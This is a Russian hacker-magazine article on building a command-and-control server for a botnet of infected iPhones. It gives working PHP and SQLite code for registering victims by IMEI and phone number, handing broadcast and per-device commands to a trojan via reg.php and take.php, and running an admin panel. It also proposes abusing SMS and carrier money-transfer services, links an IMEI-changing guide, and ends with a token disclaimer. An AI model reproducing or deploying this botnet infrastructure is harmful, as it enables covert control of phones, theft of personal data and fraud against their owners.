Карта сайта Хакер в RSS Энциклопедия Хакера PDA версия сайта Почтовые рассылки Хакера    Хакер в Twitter Хакер в ВКонтакте Приложение Хакер для Facebook Хакер на Formspring.me
Журнал Новости Форум Видео Life Xakep Live (блоги)
Bugtrack Статьи Блог Поиск English
Итоги конкурса Group-IB Итоги конкурса Group-IB
Настало время подведения итогов нашего конкурса, который мы проводили совместно с компанией Group-IB, специализирующейся на расследовании инцидентов информационной безопасности....
Трюки с phpinfo Трюки с phpinfo
Совсем недавно в паблике появилась информация о новом интересном подходе к эксплуатации уязвимостей класса LFI с помощью бесполезной на первый взгляд функции phpinfo() и временных загрузочных файлов. Берем на вооружение этот полезный прием....

Хакер № 05/09 (125)

Мобильный ботнет. Создаем загон для iPhone-зомби

D0znp (http://oxod.ru)


Пройдет еще лет пять, и текущие гигабитные скорости мы будем считать бесконечно малыми. Помимо GSM и 3g, современные телефоны имеют Wi-Fi адаптеры, так что практически постоянно находятся в онлайне. Век мобильных ботнетов уже настал. В этой статье я расскажу о практической реализации сервера для управления сетью мобильных зомби-телефонов, в частности для Apple iPhone.

Мобильная специфика

Перед началом работы разберем особенности мобильных зомби – чем они отличаются и какие преимущества дают по сравнению с «классическими» зараженными машинами. Вот список основных фич:

  1. Быстро меняющийся IP-адрес (который, скорее всего, больше не повторится).
  2. Невысокая скорость соединения (в среднем, менее 1 Мбит/с).
  3. Возможность получения команд по сети GSM без интернета (например, средствами SMS).
  4. Практически полное отсутствие антивирусных и антишпионских средств.
  5. Нет контроля трафика владельцем.
  6. Высокая вероятность хранения в телефоне личных данных (номера кредиток, пин-коды, счета, адреса и проч.).
  7. Звонки и отправка SMS.
  8. Определение местоположения по GSM или GPS (если в телефоне есть такой контроллер).
  9. Запуск программы диктофона в скрытом режиме (в качестве подслушивающего устройства).

Использовать все эти особенности вместе было бы, конечно, здорово, но меня на такой подвиг не тянет. Ограничусь основными, а остальные пойдут как доработки. Также не исключаю, что мой список можно пополнить еще десятком позиций.

Как это будет работать

Мы напишем серверную часть с админкой для публикации команд на веб-сервере. Клиенты (то есть зараженные телефоны) посредством самого трояна будут скачивать наши команды через определенные интервалы времени и исполнять их. Результаты исполнения клиенты опять-таки будут передавать нашему серверу через HTTP. Это хозяйство можно реализовать на чем угодно. В статье я опишу все для PHP и SQLite под Windows. Разумеется, не составит труда перенести код под любую другую среду. Замечу, что я специально оставил в коде SQL-инъекции, чтобы ни у кого не закралась мысль использовать этот пример для причинения вреда чему-то живому.

Идентификация телефонов и регистрационные данные

Если компьютеры в ботнете обычно идентифицируют по IP-адресам, то телефоны мы будем определять по IMEI – уникальному коду, зашитому на заводе. Это тот самый код, что может служить доказательством кражи в суде. По IMEI можно найти пропавший телефон через соответствующие органы, а они, в свою очередь, найдут его местоположение через сотового оператора. Сменить IMEI на конкретном телефоне считается довольно проблематичным (зависит от производителя и модели). По смене IMEI на iPhone есть полная и подробная инструкция (а главное - простая): www.iclarified.com/entry/index.php?enid=657.

Тем не менее, с очень большой вероятностью IMEI будет нашим уникальным идентификатором зомби. Давай прикинем, какие дополнительные данные нам потребуются от зараженного образца. Во-первых, обычный телефонный номер вида +7-(123)-456-78-90. Он пригодится для отправки SMS и специальных сервисов ОПСОСа, а-ля переброс денег на другой счет или подключение услуг. Сюда же я предлагаю добавить дату регистрации зомби на мастер-сервере (дату заражения) и дату последней активности (дату ответа на последнюю команду). Для красоты заведем еще, опционально, текстовый алиас аппарата и килобайтный комментарий. Таким образом, мы сможем записать информацию о каждом зомби, придумывать смешные названия и прочую фигню, если вдруг понадобится. Также потребуется хранить сами команды, которые будут получать и исполнять наши зомби – я предусматриваю общие (бродкаст) для всех зараженных и специальные (директ) команды для конкретного телефона. Все эту информацию надо где-то хранить, и вероятно, не на бумажке под половицей. Поэтому заведем соответствующие таблички в базе данных. Я использую SQLite, хотя все написанное без труда можно переложить под любую другую СУБД (на этот счет еще будет несколько комментариев по тексту).

Устанавливаем СУБД, создаем таблицы

Вся прелесть (и одновременно, недостаток) SQLite заключается в том, что сама база представляет собой всего-навсего один файл. Интеграция с языками программирования тоже очень простая. Я буду писать под PHP и Windows. В моем случае для установки СУБД следует добавить в php.ini следующие строчки:

[PHP_SQLITE]
extension=php_pdo.dll
extension=php_pdo_sqlite.dll
extension=php_sqlite.dll

После этого скачиваем объявленные библиотеки в директорию ext и наслаждаемся. Теперь создаем таблицы, куда будем записывать поступающую от зомби информацию и новые указания. Вот так выглядит SQL-скрипт:

CREATE TABLE zombies (id INTEGER PRIMARY KEY, imei INTEGER, number INTEG
ER, infect_date DATETIME, last_active_date DATETIME, alias VARCHAR(64), comment VARCHAR(
1024));
//В этой таблице хранятся записи о зараженных телефонах.

CREATE TABLE commands (id INTEGER PRIMARY KEY, cmd VCHAR(128), created DATETIME, accepted INTEGER);
//Таблица служит для записи команд, которые получают все зараженные (бродкаст).

CREATE TABLE spec_commands (id INTEGER PRIMARY KEY, cmd VARCHAR(128), imei INTEGER, created DATETIME, accepted INTEGER);
//Здесь хранятся команды, адресованные конкретному исполнителю по его IMEI.

Отмечу, что, например, для MySQL 15 цифр IMEI не влезут в INTEGER, так что SQL придется немного исправить. Покончив с настройкой базы, перейдем непосредственно к написанию скрипта, который будет регистрировать в базе новых жертв.

«Помогу с регистрацией», или Записываем зомби

После заражения телефон отправляет http-запрос с GET-параметром IMEI и кодом регистрации. Код нужен, чтобы убедиться, что регистрацию проходит именно наш троян, а не дядя в фуражке. Крутые перцы пишут тяжелые математические функции для свертки регистрационных данных в верификационный код, а для наших тестовых целей хватит и чего-нибудь попроще. Например, возьмем выборочные цифры из IMEI, умножим на константы и сложим результат вместе. Выйдет не очень красиво, но весьма наглядно. Таким образом, пишем первую функцию для проверки регистрационного ключа:

function checkVkey($imei, $vkey){
$result = false;

if (strlen($imei)==15) {
$cb1 = $imei[3];
$cb2 = $imei[7];
$cb3 = $imei[8];
$cb4 = $imei[11];
$cb5 = $imei[13];
$tkey = ($cb1*101+$cb2*107+$cb3*3+$cb4*9+$cb5*71);
if ($tkey==$vkey) {
$result=true;
}
}
return $result;
}

После проверки ключа добавляем гаврика в базу. Для этого используем функцию addToZombie:

function addToZombie($imei, $number){
if (strlen($imei)==15){
try{
$dbHandle = new SQLiteDatabase("master-server.db");
if (strlen($number)==0) $number="NULL";
@$dbHandle->queryExec("insert into zombies values((select max(id)+1 from zombies),".$imei.", ".$number.", DATETIME('now'), NULL, '','')");

return true;

}catch( Exception $exception ){
die($exception->getMessage());
return false;
}
}
}

Обе эти функции и простую логику проверки собираем вместе в файл reg.php. Для корректной работы троян при регистрации должен послать нам http-запрос примерно с таким URL:

http://master-server.com/reg.php?imei=123456789012345&vkey=1589.

Раздаем команды

Осталось написать командую часть. Логика здесь простая: лезем в базу, тащим самую свежую команду (с большим ID) и печатаем в HTTP response. При этом еще надо обновить табличку zombies, установив там дату последней активности зомби, забравшего команду, равную текущей дате. Функции будут выглядеть так:

function showCommand(){
try{

$dbHandle = new SQLiteDatabase("master-server.db");

$sqlGetView = "SELECT * FROM commands where id in (select max(id) from commands)";

$result = $dbHandle->query($sqlGetView);

$pageView = $result->fetch();

echo $pageView[1];

}catch( Exception $exception ){
die($exception->getMessage());

}
}
function updateActivity($imei){
try{

$dbHandle = new SQLiteDatabase("master-server.db");

$sqlGetView = "UPDATE zombies SET last_active_date=DATETIME('now') WHERE imei=".$imei;

$result = $dbHandle->query($sqlGetView);

}catch( Exception $exception ){
die($exception->getMessage());

}
}

Соответственно, чтобы забрать команду, троян тянет страничку вида:

http://master-server.com/take.php?imei=123456789012345.

Чтобы иметь возможность общаться с конкретным телефоном, напишем функцию для вывода команды из таблицы special_commands по конкретному IMEI:

function showSpecCommand($imei){
try{

$dbHandle = new SQLiteDatabase("master-server.db");

$sqlGetView = "SELECT * FROM spec_commands where id in (select max(id) from spec_commands where imei=".$imei.")";

$result = $dbHandle->query($sqlGetView);

$pageView = $result->fetch();

echo $pageView[1];

}catch( Exception $exception ){
die($exception->getMessage());

}
}

Ну вот, все готово. Можно начинать проверять работоспособность движка, так как базовый функционал готов. Правда, мы не сделали себе возможность записывать эти самые команды в базу. Тут есть два варианта – либо пользоваться консольной утилитой sqlite.exe, либо потратить еще 15 минут и дописать веб-интерфейс. Ты как хочешь, а я пойду по второму пути, потому что он сэкономит потом пару часов на пиво :).

Дайте порулить, или Пишем админку

Первым делом выведем список всех зомби в HTML-табличке. Для наглядности, телефоны, которые приняли после регистрации хотя бы одну команду (заполнено поле last_active_date таблицы zombies), подсветим зеленым, остальные – красным. Здесь же пишем простой жаваскрипт для изменения алиаса и комментария. Выйдет примерно так:

function showZombies(){
try{
$dbHandle = new SQLiteDatabase("master-server.db");
if (strlen($number)==0) $number="NULL";

$sqlGetView = "SELECT * FROM zombies";

$result = $dbHandle->query($sqlGetView);
echo '<table border="1" width="100%" height="100%">';
echo '<tr><td></td><td>ID</td><td>IMEI</td><td>Phone number</td><td>Infected Date</td>
<td>Last Active Date</td><td>Alias</td><td>Comment</td></tr>';

echo '<script language="JavaScript">
function changeAlias(id){
document.getElementById("changeAlias"+id).style.display="";
document.getElementById("showAlias"+id).style.display="none";
}
function changeComment(id){
document.getElementById("changeComment"+id).style.display="";
document.getElementById("showComment"+id).style.display="none";
}
function openZombie(id){
window.location.href="zombie.php?id="+id;
}
</script>';

$pageView = $result->fetch();

while ($pageView) {

echo '<tr bgcolor="'.($pageView[4]?'green':'red').'"><td><input type="button" value="Спец. команда" onclick="javascript: openZombie('.$pageView[0].')"/></td><td>'.$pageView[0].'</td><td>'.$pageView[1].'</td><td>'.$pageView[2].'</td>
<td>'.$pageView[3].'</td><td>'.$pageView[4].'</td><td><div id="changeAlias'.$pageView[0].'" style="display: none;">
<form action="" method="POST"><input type="hidden" value="'.$pageView[0].'" name="id"/>
<input type="text" value="'.$pageView[5].'" name="alias"/><input type="submit" value="Изменить"></form>
</div><div id="showAlias'.$pageView[0].'">'.$pageView[5].' -
<a href="javascript:changeAlias('.$pageView[0].');">Изменить</a></div>
</td><td><div id="changeComment'.$pageView[0].'" style="display:none;">
<form action="" method="POST"><input type="hidden" value="'.$pageView[0].'" name="id"/>
<input type="text" value="'.$pageView[6].'" name="comment"/><input type="submit" value="Изменить"></form>
</div><div id="showComment'.$pageView[0].'">'.$pageView[6].' -
<a href="javascript:changeComment('.$pageView[0].');">Изменить</a></div></td></tr>';
$pageView = $result->fetch();
}
echo '</table>';

}catch( Exception $exception ){
die($exception->getMessage());
}
}

После этого напишем еще два скрипта для отображения и редактирования бродкаст и специальной команды выбранному устройству. Исходники их функций я приводить не буду, они аналогичны уже разобранным и не нуждаются в комментариях. На диске ты найдешь полные исходники приложения, без труда разберешься и допишешь нужный функционал, если потребуется. Мое творение ты можешь наблюдать на скриншотах. Еще раз отмечу, что специально делаю код понятным и простым, а не быстрым и безопасным.

Заключение

Миф о несуществовании телефонных ботнетов развеян. Как минимум, три тестовых образца выполняли мои команды, а это уже ботнет :). Есть надежда, что в скором времени процессоры мобильников станут еще быстрее, памяти будет больше, а кнопок не останется вовсе. Так или иначе, уровень безопасности телефонов неизбежно возрастет. Гипервизоры и подписанный код станут основополагающими требованиями. Очень надеюсь, что наряду с этим вырастут уровень и количество специалистов, которые будут в состоянии вскрывать такие защиты. Как всегда, на все вопросы отвечаю в блоге http://oxod.ru. Удачи!

WWW

  • http://www.sqlite.org – сайт СУБД SQLite. Прекрасно подходит для легких проектов и встраиваемых решений
  • http://oxod.ru – мой блог. Пишу по мере желания. Жду комментариев, отвечу на вопросы.

DVD

Рабочую версию скриптов и библиотеки для работы с SQLite из PHP ты найдешь на диске.

INFO

В мартовском номере ][ была опубликована статья по созданию Трояна для Symbian. Нетрудно доработать его и научить общаться с нашим мастер-сервером. Может получиться прекрасный мульти-платформенный ботнет.

WARNING

Внимание! Информация представлена исключительно с целью ознакомления! Ни автор, ни редакция за твои действия ответственности не несут!

Содержание  


ВИДЕО К ЭТОМУ НОМЕРУ

На седьмом небе с Windows Se7en
В семерке и сопутствующих инструментах сделан ряд действительно полезных усовершенствований, которые позволят получить действительно легко управляемую и безопасную систему...

Во власти гипервизора
В этом ролике мы установим Citrix XenServer и создадим виртуальную машину при помощи XenConsole...

Вскрываем SSL
То, насколько просто могут утечь логины и пароли, мы покажем в этом видео. Будь осторожен!...





Предыдущие номера


    Rambler's Top100